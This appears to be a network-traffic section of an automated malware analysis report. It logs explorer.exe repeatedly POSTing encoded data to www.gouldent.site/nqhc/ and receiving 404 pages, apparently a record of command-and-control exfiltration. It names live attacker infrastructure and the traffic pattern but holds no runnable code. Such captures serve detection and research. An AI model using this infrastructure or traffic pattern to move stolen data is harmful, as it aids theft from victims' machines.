Dec 5, 2022 15:20:00.757002115 CET	12780	IN	HTTP/1.1 404 Not Found Date: Mon, 05 Dec 2022 14:20:00 GMT Server: Apache Content-Length: 570 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 0a 3c 62 6f 64 79 3e 0a 20 20 3c 73 65 63 74 69 6f 6e 20 69 64 3d 22 6e 6f 74 2d 66 6f 75 6e 64 22 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 69 72 63 6c 65 73 22 3e 0a 20 20 20 20 20 20 3c 70 3e 34 30 34 3c 62 72 3e 0a 20 20 20 20 20 20 20 3c 73 6d 61 6c 6c 3e 50 41 47 45 20 4e 4f 54 20 46 4f 55 4e 44 3c 2f 73 6d 61 6c 6c 3e 0a 20 20 20 20 20 20 3c 2f 70 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 69 72 63 6c 65 20 62 69 67 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 69 72 63 6c 65 20 6d 65 64 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 69 72 63 6c 65 20 73 6d 61 6c 6c 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 3c 2f 73 65 63 74 69 6f 6e 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 0a 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 27 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6a 71 75 65 72 79 2f 32 2e 31 2e 33 2f 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 27 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 20 73 72 63 3d 22 2f 73 63 72 69 70 74 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Error</title> <link rel="stylesheet" href="/style.css"></head><body><body> <section id="not-found"> <div class="circles"> <p>404<br> <small>PAGE NOT FOUND</small> </p> <span class="circle big"></span> <span class="circle med"></span> <span class="circle small"></span> </div> </section> </body> <script src='//cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js'></script><script src="/script.js"></script></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
86	192.168.11.20	49943	66.29.151.40	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 5, 2022 15:20:02.660803080 CET	12786	OUT	POST /nqhc/ HTTP/1.1 Host: www.gouldent.site Connection: close Content-Length: 51815 Cache-Control: no-cache Origin: http://www.gouldent.site User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.gouldent.site/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 37 6e 57 48 56 3d 34 61 4e 65 54 68 4e 4b 78 6b 45 45 77 32 30 58 56 65 6b 66 68 42 50 52 5a 57 38 41 30 52 53 49 69 73 69 55 64 46 75 50 6b 42 38 7a 4c 38 55 51 6b 30 78 4f 78 6e 4c 73 6c 49 28 79 76 76 62 72 32 5f 66 4a 33 64 72 51 39 4f 6b 6f 49 7a 45 51 33 4b 79 50 34 64 77 6f 37 6e 73 6e 51 31 41 79 53 54 52 61 77 49 67 31 6c 55 57 41 52 58 31 32 32 79 74 66 54 32 69 72 54 4d 33 63 36 48 4e 7a 51 63 74 6f 48 4b 68 48 45 52 38 58 7a 66 44 6f 44 31 62 68 31 62 38 56 6f 30 4e 74 34 43 45 36 6d 70 67 65 4d 51 61 46 4b 70 38 51 76 6a 79 70 7e 4d 36 69 70 47 59 78 51 43 58 34 7a 68 39 48 4d 64 76 75 57 33 57 50 48 52 74 67 4e 78 4f 36 6b 43 38 66 34 38 53 69 79 59 4e 67 57 4c 75 49 5a 41 54 43 65 49 41 4b 34 42 6d 68 61 5a 76 79 4d 48 4a 30 65 63 34 51 47 7a 42 76 6a 37 77 55 74 79 41 42 78 50 5a 61 7a 30 79 71 45 4c 53 37 54 55 32 56 48 77 57 71 61 35 68 37 73 37 78 6b 6b 61 75 66 32 34 4a 35 67 2d 52 7a 75 6b 4a 4f 4f 52 4e 48 30 37 39 44 42 59 45 48 30 7a 76 33 4a 55 73 39 36 46 31 55 73 64 32 5f 47 6e 61 39 75 73 4b 71 6c 4f 42 4d 6c 7a 32 71 54 67 79 57 48 63 37 4a 42 51 46 5f 69 34 46 63 4a 4f 36 71 70 5a 73 46 72 50 69 62 57 52 7e 2d 65 55 75 75 63 77 4f 62 38 5a 79 4c 43 6b 74 7a 30 4e 6d 75 70 32 61 67 32 66 34 74 73 36 4c 7a 45 41 69 45 71 35 43 56 70 61 73 41 58 77 39 31 75 57 28 4d 28 76 78 67 66 37 35 6e 53 64 6d 6f 31 6b 38 75 49 58 75 48 5a 41 47 34 6b 33 69 42 6f 64 41 50 69 48 41 79 79 73 58 56 62 53 4e 61 4a 32 63 53 54 4d 7a 55 41 55 49 47 46 30 62 43 73 70 51 55 32 6d 49 6b 76 77 68 72 34 47 76 76 48 52 6a 71 33 75 6f 52 6d 62 53 4d 41 54 44 71 78 61 78 56 4b 61 76 62 6e 32 34 2d 59 52 39 52 49 76 68 5f 28 6a 41 43 7a 39 72 6c 6d 6a 52 53 62 61 70 54 51 51 42 4e 77 76 44 79 7a 33 6d 35 7e 46 45 4d 6f 31 65 61 35 59 76 50 73 4a 4b 4e 4c 61 30 50 64 52 68 7a 52 65 69 72 63 69 37 4e 45 72 74 30 7a 41 72 2d 71 6a 6d 75 64 45 33 4c 43 66 42 41 43 52 53 4f 53 73 77 4d 55 32 59 61 52 71 5a 65 33 65 42 34 6e 34 6c 6e 31 66 33 66 43 5f 72 74 44 36 4c 4b 28 74 75 6f 42 5f 30 61 58 75 44 76 77 74 55 73 4d 66 48 66 6f 44 78 4d 33 4f 32 6b 68 78 44 35 6f 58 43 76 30 59 45 32 4f 71 31 41 76 65 77 4b 44 71 39 67 41 69 76 78 32 31 71 76 35 75 6b 59 42 65 65 5f 76 52 48 56 6c 62 37 56 68 6e 65 76 4f 31 71 68 46 4e 5a 78 41 4e 78 43 48 4a 48 69 66 59 32 69 31 75 6d 6f 79 73 30 71 4f 70 39 53 32 47 38 72 78 32 4d 79 6b 4c 65 70 68 6b 78 4d 45 64 7e 30 78 31 77 6e 74 33 41 36 31 34 53 33 64 72 67 52 78 64 4d 54 69 69 36 63 61 5f 35 55 52 76 28 41 50 57 4a 49 30 54 55 59 66 56 31 69 49 63 30 57 7e 37 55 50 78 74 58 2d 71 58 35 38 54 59 76 4c 45 51 6a 45 34 62 76 66 50 51 52 51 4c 76 7e 49 45 55 67 55 53 7a 35 4b 56 62 41 76 72 73 32 75 62 72 4f 39 68 57 6c 64 6a 4d 4e 6c 41 7a 69 53 41 5a 7a 30 6e 63 71 33 4b 69 56 4e 48 6c 54 38 76 36 61 65 4c 4f 4d 56 6b 34 4f 71 53 6e 4b 65 37 5a 35 5a 6a 71 28 6b 51 71 42 46 64 39 6c 44 41 49 68 44 33 53 43 59 76 5f 52 45 74 57 4f 4a 7a 37 28 68 39 79 4a 6b 55 67 43 7a 30 47 36 66 37 53 41 68 7a 6e 62 45 39 77 72 35 65 2d 41 4e 6a 32 39 4d 50 4f 45 4e 69 6b 32 4c 42 66 32 7a 53 70 55 65 33 39 79 78 68 6d 65 45 30 76 72 47 6f 6b 74 75 57 30 61 57 49 66 55 31 4d 67 5a 39 4a 34 74 50 31 50 43 37 7e 42 55 6a 4b 36 63 52 75 34 47 68 48 47 46 34 65 52 30 33 5a 4e 59 61 77 6f 67 35 50 41 71 68 4e 67 6a 4e 4a 31 56 79 58 73 31 6a 4f 59 68 4a 33 6c 35 54 34 4b 78 53 76 48 46 48 7a 42 67 61 6a 49 66 48 47 42 43 66 31 6f 75 49 48 7a 50 49 7a 45 77 4e 63 6a 43 66 56 4a 46 46 77 44 49 54 5a 2d 4a 6b 57 52 4b 77 7e 56 77 6b 47 55 57 31 78 4f 65 55 53 2d 37 44 6c 33 47 72 39 33 68 44 49 5a 42 2d 37 68 6a 62 50 44 41 68 6f 63 72 6b 57 55 47 67 5a 38 33 68 33 71 6d 70 6d 45 66 59 44 37 6f 6a 71 41 41 63 77 45 61 59 68 4e 58 6f 62 64 44 64 6d 74 77 69 76 33 73 4d 77 79 48 31 62 63 63 6f 34 45 63 62 39 72 4c 48 69 53 48 48 78 6d 6a 32 6d 72 67 59 32 4e 30 75 54 51 73 42 53 64 72 4c 6c 57 65 38 42 4c 59 33 75 66 7a 4b 61 36 46 5a 64 6b 77 51 62 59 4d 53 48 6e 31 6c 71 4b 55 6e 6d 6f 38 4d 35 68 52 71 77 4c 63 4a 36 34 64 67 53 7a 33 33 6f 77 45 77 4f 64 64 51 68 42 4c 62 49 61 50 43 56 4f 56 54 37 Data Ascii: 7nWHV=4aNeThNKxkEEw20XVekfhBPRZW8A0RSIisiUdFuPkB8zL8UQk0xOxnLslI(yvvbr2_fJ3drQ9OkoIzEQ3KyP4dwo7nsnQ1AySTRawIg1lUWARX122ytfT2irTM3c6HNzQctoHKhHER8XzfDoD1bh1b8Vo0Nt4CE6mpgeMQaFKp8Qvjyp~M6ipGYxQCX4zh9HMdvuW3WPHRtgNxO6kC8f48SiyYNgWLuIZATCeIAK4BmhaZvyMHJ0ec4QGzBvj7wUtyABxPZaz0yqELS7TU2VHwWqa5h7s7xkkauf24J5g-RzukJOORNH079DBYEH0zv3JUs96F1Usd2_Gna9usKqlOBMlz2qTgyWHc7JBQF_i4FcJO6qpZsFrPibWR~-eUuucwOb8ZyLCktz0Nmup2ag2f4ts6LzEAiEq5CVpasAXw91uW(M(vxgf75nSdmo1k8uIXuHZAG4k3iBodAPiHAyysXVbSNaJ2cSTMzUAUIGF0bCspQU2mIkvwhr4GvvHRjq3uoRmbSMATDqxaxVKavbn24-YR9RIvh_(jACz9rlmjRSbapTQQBNwvDyz3m5~FEMo1ea5YvPsJKNLa0PdRhzReirci7NErt0zAr-qjmudE3LCfBACRSOSswMU2YaRqZe3eB4n4ln1f3fC_rtD6LK(tuoB_0aXuDvwtUsMfHfoDxM3O2khxD5oXCv0YE2Oq1AvewKDq9gAivx21qv5ukYBee_vRHVlb7VhnevO1qhFNZxANxCHJHifY2i1umoys0qOp9S2G8rx2MykLephkxMEd~0x1wnt3A614S3drgRxdMTii6ca_5URv(APWJI0TUYfV1iIc0W~7UPxtX-qX58TYvLEQjE4bvfPQRQLv~IEUgUSz5KVbAvrs2ubrO9hWldjMNlAziSAZz0ncq3KiVNHlT8v6aeLOMVk4OqSnKe7Z5Zjq(kQqBFd9lDAIhD3SCYv_REtWOJz7(h9yJkUgCz0G6f7SAhznbE9wr5e-ANj29MPOENik2LBf2zSpUe39yxhmeE0vrGoktuW0aWIfU1MgZ9J4tP1PC7~BUjK6cRu4GhHGF4eR03ZNYawog5PAqhNgjNJ1VyXs1jOYhJ3l5T4KxSvHFHzBgajIfHGBCf1ouIHzPIzEwNcjCfVJFFwDITZ-JkWRKw~VwkGUW1xOeUS-7Dl3Gr93hDIZB-7hjbPDAhocrkWUGgZ83h3qmpmEfYD7ojqAAcwEaYhNXobdDdmtwiv3sMwyH1bcco4Ecb9rLHiSHHxmj2mrgY2N0uTQsBSdrLlWe8BLY3ufzKa6FZdkwQbYMSHn1lqKUnmo8M5hRqwLcJ64dgSz33owEwOddQhBLbIaPCVOVT7DVadkeEaLtw9rs6pWsasZ8rqCmu35Okbs3Pa63SkOA6SS5_O_WryzAkw7LD8_G2~o~UNju48aOXVgkVQLTTfowIangsu1ljWsVd8-OpOgA1l3iIn3QU9zl1CHva8kZoAB5rkpoMYqBqmiCM2zdkT7OdRwP3di6I8V~AkjwoRtIQMz2fO8oHkWZnXrKSowikA3~U~0IpKEADpcdrdo6o0Uz7Dcsmvoe0PvkCIC9ISoNRfjzIY0f30WCMjzz99LStqdYG4-wLXPLrjioO93f6r-uzaYrl4JWXhPol00L-lOD0wsniNgV8GTtwHUeaZopLQvr414ujYBNmUphoq6NIEm7Fbv8DUPLpu5NTW_Y71KkyjLYEEPiy1JhiEOR8cI9Kv8IazTcXHmOEVtIGFKrYZY6v8FvgIWVFIYL53_mChxK5QfCv6Cwt5F0WGrUif2SVdpeCbPsu4j3Dmzz82mvmZgThORs64lcvWUpb(v7fEG12r-q5xekN0AGedx(rD_vd9QPafkemONulqcRrFWgbiLFJ8g80ZMVLWsg_(hkavUASzhjtkd8C9qEfyS(uWGrKqM24PA9oVmLZu4nv9z710PbYPrkt6SpaXjQ6cfSGWBTT2nKfR7hr3laXee2vCOn9ZePUasQscYurZWxG5PszfZVgTlU19N(vf5x5k-5mVaavLu46CHAjf4iFXtFuKoF-MExV0DZ3FRbjOaon6EcXG5YQM4LxpHIuXdsLPBly7tVmlKGXaVKgftlWWOSTQYihWml95YF-0_ZUB7chJg7KTmzfkuIXPhDxTPxBmIrV2ZnFOmFkszmw5CU1LY0YYaY27MVo0zd7P9zN6Bj8~CCaPOtLPRMVSH54uIxXYCMr5W1wB-vD8eK2i1UOfxhq7C6plvi1IrYBh4y1iRJU9YprAGpTmJSIuOkNS2c05b8PqpfemvqbGVcdKLoW3MldLZc3aOE2Iv9EEtEm8oTfjkt3AuDjygINjEO6vkryLn(4qPGuROESrCyi0bLWHuLNcT7R9lxVxVCw(B7sIlNADVbCdiumUEHvtmLgqCsKKaEcfTPXIl~SUnZnBXtPCYEFT4yoFNWRFxhALytCyD2dmidLUj5A6gAR7XAJvJsVx912ECq_lXJSkluGed56TqTHqZU0zwLpyk1uVySIdgHOFTOvKNYd7EqmuyGskErbcKbIL9qeTLGBfpSA3DrYtRrYxIbwb0LcLBItQzU9sNUGvCxWHYMJq8BPf5BdKn9aIewYu33qN19NnI7PavKNHw9UNbqL5Vd5C4fhs6k43q2-qz9296gC4TvKYuC-Scgmu0K8CfhKIw2Kz9y0tnXON87sh1P7(JBOeqWhywHaHtj0LepkL07soWdhSBGfNH4RJdG211gVrJIJLAph8W6WCqCTjLHyfEhAIRshcWtt32W9H94xFwLK6L51LS0kSnKf6Mcop4oym3XClYE6SZI3A4tWfkOTZFjmG-Iyz00Ogs0V0t5EfaT1XYg1VnZ5SEUtk6CaYV3oG2tHCcuuolHxLUGjeFrSo-0oHDwrpPmc2cJOBKqWfvCIPDR4nt(66NxYnINfL1rnAAoH0aJkAxOJG_~cADF69LZvnYkTRHDoir5q0N6KRswtv7zkY0hyzqWAt6VtddxIFwmTLp7h5CCWKTS1tOF-~NMzvOPwFgSQD6~nvYAtoxAB0rd6GM1pgfVB(gNrbW9dC7hEGxIByQoaAUtCvBvOlEDRBC(bKWks~umS4yOEjnhGr8f1Du4AvDw3CgIGCManj3N5E-9lUJf-QPk4dHfnbfEFyFV2uXK34c9QmBM5opuA2WtlsyyZLGqtKxjm~Bx1DZ4FbKvUbANGoFNPMpnZBMa_rU7229IwCLvrkYrvrICzwUqUObRxCm0JUwZOLMopFDLsf-U8XG2pYxT1tdHz8f2Fnt(pNlbSV9s-QQRMVz3IDX3PvysAjGYna4aSZtltDTlsV-ygBScBjKFn9gEQnuDyhyiKXXDoxcuIXtc6j_sH6rHowZsQIFbjhGbhLT6pYMY3CuoGyF667ie1Vpa8OAkcUs4AiZz7HZYFq5xLUcFs0mleM15TpIw0mXbNAAWVMxtvOh9Q9bfmaSqjcGeezYKPsQ1ZLQzPphnA4yvxRe99ejKJg7g3nAHhMfP4rDAXFAQRgvA0PtWiFDiM12F4l9sRW4I54LmGqRavtXz8beI11Dw9jUZhsrgzKaziK1EIpBrJLqCIFQvbHXOrnbYLSkQrQbwn4aIwFcDqN_~NgPVyn8bKs9PKv90LyIgKD5ItOInaBVw_tyzIfOttqOl8sR7yI5C8dzWK~F~U4oyKZE9KFk87dkOeX7R2yEEv32vB83fgCt2UFWIHgmfL6S0vN4gWKzPSs0mvTYUDDl3H7lkUZF02nt6xgfyK9bTZxvnbi_pVFEddpw13ubmgiNHIXRIvHYOa5SKXs6sdBMrNviNBLVf5UrI6hcDXpFA_VYwvHFjcqMlLW9I3vvcTx8GLh5kPAs3Zfhw97n4NAgt7MHJu3gQJqmknwAJTiI~1v_m0td(RD7ZfZkS6mBTfcx9Jg7NYlHD8mH~Uv4PaIxg6EpGKWe6yxUIR74qwwZtENiASN4U1UcQt(kdPOeQ3XDU3E3QsCCOifOwyFwH1foBQKdPh7t7MPN9ezWgiH6ByxbDxlBwnFWD0KeB6bjPZWOfcDUcAbbNkwDrJAvo6NZFPc7uNYf3iFs~Zcwt9
Dec 5, 2022 15:20:02.660890102 CET	12793	OUT	Data Raw: 32 42 68 46 5a 6a 55 6a 4d 79 61 64 4f 44 64 36 34 46 41 6a 39 77 72 4f 77 64 48 42 51 64 42 28 6f 4f 63 4d 38 63 77 5a 6e 36 68 46 6d 65 50 55 61 7a 7a 4b 36 70 6a 39 38 6c 38 47 50 34 6a 49 54 4f 6a 4b 46 73 56 73 70 5a 72 57 48 5a 72 76 4a 32 Data Ascii: 2BhFZjUjMyadODd64FAj9wrOwdHBQdB(oOcM8cwZn6hFmePUazzK6pj98l8GP4jITOjKFsVspZrWHZrvJ2i2g0h~fwvZ385l3tQR-GNY2vToFREM7XwNdt9nN3KUSljCQNPAzPkkMPy2lPRl9xqWbeJK6Me53kjrLD5~gooKUq0JOMaIxdn53ARi2NIeZAcn_(pXrfBbAma8yllfH1z3clj2p3tLKAsxHa9DeyPSp5Ww-3mdsgr
Dec 5, 2022 15:20:02.819624901 CET	12794	OUT	Data Raw: 61 74 61 42 50 78 59 32 79 30 4d 78 49 45 52 44 65 41 59 52 32 78 32 52 5f 38 74 75 35 70 78 76 59 58 6b 6d 73 68 4a 66 72 52 71 68 41 31 53 4c 66 71 36 43 37 4d 41 37 64 62 64 45 42 58 5f 50 43 37 69 63 72 36 33 72 61 4c 65 63 4c 36 53 53 59 78 Data Ascii: ataBPxY2y0MxIERDeAYR2x2R_8tu5pxvYXkmshJfrRqhA1SLfq6C7MA7dbdEBX_PC7icr63raLecL6SSYxS5Hqlci95Gn~jLWxtAE(EMHq1M_HR881kl2e3BVxwR2uZUhHSndGp1AYKQ0QEGqtJokCudNh7~np-rR6kHkG_asDF~fr3dhHG5OfpOZo5sIX530H5zYOraBPL6ks0vHDofO6axH36LCdQKpUfcGNQnW~Teb9_8zX6
Dec 5, 2022 15:20:02.819669008 CET	12798	OUT	Data Raw: 4d 73 77 77 72 39 79 38 7a 54 62 42 43 39 4a 74 41 70 65 33 51 68 65 72 4b 32 34 69 66 45 48 31 4a 5a 4f 30 58 51 34 42 50 78 4e 4c 5f 35 6f 67 69 58 5f 4d 49 58 5a 42 69 41 65 76 75 32 50 63 65 77 37 49 34 49 66 33 6c 61 46 5a 59 62 38 6e 6b 79 Data Ascii: Mswwr9y8zTbBC9JtApe3QherK24ifEH1JZO0XQ4BPxNL_5ogiX_MIXZBiAevu2Pcew7I4If3laFZYb8nky3nBOTw2~3skLFDeXlTNdMZGLet169CghV19cw9g~JI30NLZQHTErRYzFO(r4gkZZz~K4_y1LKcwO8kn3I2_WRkT0j93hRmFCTteE2keqh~6nnaCYQLRd_MfQhuaLk5_uy8isO4fbSiNhV8_iBK6nWPwP_eixEkHJt
Dec 5, 2022 15:20:02.819916010 CET	12806	OUT	Data Raw: 4b 34 6d 32 70 61 6b 7a 71 4b 68 71 52 62 52 4f 6e 7e 58 30 33 69 75 63 46 44 6a 45 6d 68 66 51 71 7a 56 6c 66 33 34 7e 44 71 4a 66 6c 69 2d 6e 61 77 4b 59 50 28 69 38 6e 64 66 4b 33 4e 7a 79 6c 46 67 76 49 71 31 7a 30 41 57 77 61 66 59 72 51 71 Data Ascii: K4m2pakzqKhqRbROn~X03iucFDjEmhfQqzVlf34~DqJfli-nawKYP(i8ndfK3NzylFgvIq1z0AWwafYrQqzowOj2ZVhslusAfh6Bf914jpbT43H5B9I2ruTa1zk2f6UZG1a70aYGamfQrzJyKeDKZD5gQS6~IRZWdGtQZ8buQIoijLSraq6~iJtfqw_ac6ux6maKgyvDFc44611uw8j68UuVYjS4bhNvSjiSTu6JLbZZ9bwoNJ9
Dec 5, 2022 15:20:02.820058107 CET	12808	OUT	Data Raw: 65 4e 31 36 32 30 4e 66 62 37 37 7e 4a 54 6e 55 53 4d 31 66 78 59 58 54 70 4a 5f 72 66 79 32 4b 76 71 55 6c 78 6a 41 6e 68 5a 55 6b 4c 67 6d 6b 53 4b 69 65 6a 51 4c 62 6f 42 36 63 5f 62 70 68 61 4b 7a 4d 53 4e 4c 59 56 42 64 58 2d 42 6b 28 4a 7e Data Ascii: eN1620Nfb77~JTnUSM1fxYXTpJ_rfy2KvqUlxjAnhZUkLgmkSKiejQLboB6c_bphaKzMSNLYVBdX-Bk(J~do5Zp(w1UZVC7SmlY6mltwq9J1tTjHfeA~yIk7gO-Gw4vHTp-dIjhJ74L~LVTD5UAFXYNP5MVnL2p4UHc9cOFiUBSwdF1LsRcHZkJeAUIj9~nmi~VzpqPCFznUSvduVtTqHB-PuTGSafC3qfxn2Z2agJbf6nG~b~t
Dec 5, 2022 15:20:02.820228100 CET	12813	OUT	Data Raw: 4f 57 62 52 35 50 4d 54 43 51 51 70 31 6c 70 76 51 4c 69 61 34 4d 50 42 4f 7a 43 69 4f 49 76 30 32 74 34 77 2d 77 5a 70 74 6f 70 6d 32 4e 68 58 55 79 48 66 59 76 2d 30 6e 75 6c 67 48 52 30 66 5f 5a 75 28 55 58 52 41 67 59 33 51 6e 58 6b 73 32 6e Data Ascii: OWbR5PMTCQQp1lpvQLia4MPBOzCiOIv02t4w-wZptopm2NhXUyHfYv-0nulgHR0f_Zu(UXRAgY3QnXks2nqqH~q2MSR8Oro1IsYchFx7zgJZxJjGIftV-JxSW4K2itL1Lp6ccvxfzHc9PF98pEqW1AuZn5wPdkVKl8ARgwlt36OFDtCWtU-Rtlqqc8DthYA1zIgYFiOtftZpX63cVlt3a7d4SOOWhUCvpS5ChlBWI7QvuMpQEQX
Dec 5, 2022 15:20:02.820400000 CET	12819	OUT	Data Raw: 48 6a 4f 7a 4b 61 79 66 71 51 35 53 30 75 58 5a 4c 6a 4b 51 67 35 38 67 37 44 39 75 70 37 57 45 54 33 79 44 57 38 42 4f 51 4d 44 39 4a 64 73 44 4d 70 78 4b 6e 7e 61 65 48 33 39 78 76 73 6b 6c 55 70 4d 37 56 75 5f 4f 45 36 61 78 2d 6c 71 48 62 78 Data Ascii: HjOzKayfqQ5S0uXZLjKQg58g7D9up7WET3yDW8BOQMD9JdsDMpxKn~aeH39xvsklUpM7Vu_OE6ax-lqHbxTuKhd7L(c8rxUxIfKuM8E2NYcJ8~sTtcHKINU6R9wXbdqu7TSH9t0h_VwCCDXmgR5BYQg3thmF9xae4rCq4Alf-Wv2FKrW3tn6HWgoKjybfUYBpXNLnapJzKEzhcCrI~lCH~VpvMyc2XusRxeFP~xLx8B8wu3Ib(0
Dec 5, 2022 15:20:02.980968952 CET	12820	OUT	Data Raw: 5f 71 6b 28 74 6f 6e 31 42 64 4c 43 78 51 6d 6e 4f 61 34 6d 2d 74 4d 66 31 6c 6a 6f 6f 46 77 68 51 6a 74 4f 4b 37 39 4a 30 51 61 36 48 4c 4c 64 42 54 6d 36 5a 6f 70 66 33 64 31 65 51 71 6b 68 57 4e 44 59 54 4f 48 54 67 49 2d 28 62 44 74 4f 34 71 Data Ascii: _qk(ton1BdLCxQmnOa4m-tMf1ljooFwhQjtOK79J0Qa6HLLdBTm6Zopf3d1eQqkhWNDYTOHTgI-(bDtO4qf1kO1DchNfVK2lyL1lVeLTALQqaRuvZ57fLxMzy0aawAlX1Twm4otE6mncRFgGKWlJ_QoumHqMbhBY6iHuSRXlvqp7XQ4lNMr3GR653uB(3uDjz1qafu144Ja4Aplx9BeTKYcA8GF(RWqchgVKKL-EIOlQXc47fsn
Dec 5, 2022 15:20:02.980968952 CET	12821	OUT	Data Raw: 61 74 61 42 50 78 59 32 79 30 4d 78 49 45 52 44 65 41 59 52 32 78 32 52 5f 38 74 75 35 70 78 76 59 58 6b 6d 73 68 4a 66 72 52 71 68 41 31 53 4c 66 71 36 43 37 4d 41 37 64 62 64 45 42 58 5f 50 43 37 69 63 72 36 33 72 61 4c 65 63 4c 36 53 53 59 78 Data Ascii: ataBPxY2y0MxIERDeAYR2x2R_8tu5pxvYXkmshJfrRqhA1SLfq6C7MA7dbdEBX_PC7icr63raLecL6SSYxS5Hqlci95Gn~jLWxtAE(EMHq1M_HR881kl2e3BVxwR2uZUhHSndGp1AYKQ0QEGqtJokCudNh7~np-rR6kHkG_asDF~fr3dhHG5OfpOZo5sIX530H5zYOraBPL6ks0vHDofO6axH36LCdQKpUfcGNQnW~Teb9_8zX6
Dec 5, 2022 15:20:02.980969906 CET	12823	OUT	Data Raw: 44 38 39 6d 45 52 6a 47 71 75 36 7a 67 33 59 77 32 31 74 54 53 37 39 72 6d 74 38 41 44 32 39 44 62 35 50 51 76 41 77 53 53 54 36 53 39 6e 44 7a 69 46 69 4a 35 50 41 47 6a 58 66 35 4d 53 35 4d 4c 76 49 46 62 54 74 62 38 70 2d 41 6f 47 47 46 45 44 Data Ascii: D89mERjGqu6zg3Yw21tTS79rmt8AD29Db5PQvAwSST6S9nDziFiJ5PAGjXf5MS5MLvIFbTtb8p-AoGGFEDTyoBPNi97ibNthJbUw6AH3WeyQ3alNeyOuYx1t3eF1IkMaeo93CEf7yzMjwNp5QN_jrCmKzKP9jwGAtHUT40Z(aGa9SjegT7Kn17kWPfA8LPHsXp99eUJ2D19YB1uqiziwzGlPh1mxtxYj6sOGgrA(3StbldTm7Yg
Dec 5, 2022 15:20:04.069257975 CET	12837	IN	HTTP/1.1 404 Not Found Date: Mon, 05 Dec 2022 14:20:02 GMT Server: Apache Content-Length: 570 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 0a 3c 62 6f 64 79 3e 0a 20 20 3c 73 65 63 74 69 6f 6e 20 69 64 3d 22 6e 6f 74 2d 66 6f 75 6e 64 22 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 69 72 63 6c 65 73 22 3e 0a 20 20 20 20 20 20 3c 70 3e 34 30 34 3c 62 72 3e 0a 20 20 20 20 20 20 20 3c 73 6d 61 6c 6c 3e 50 41 47 45 20 4e 4f 54 20 46 4f 55 4e 44 3c 2f 73 6d 61 6c 6c 3e 0a 20 20 20 20 20 20 3c 2f 70 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 69 72 63 6c 65 20 62 69 67 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 69 72 63 6c 65 20 6d 65 64 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 69 72 63 6c 65 20 73 6d 61 6c 6c 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 3c 2f 73 65 63 74 69 6f 6e 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 0a 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 27 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6a 71 75 65 72 79 2f 32 2e 31 2e 33 2f 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 27 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 20 73 72 63 3d 22 2f 73 63 72 69 70 74 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta 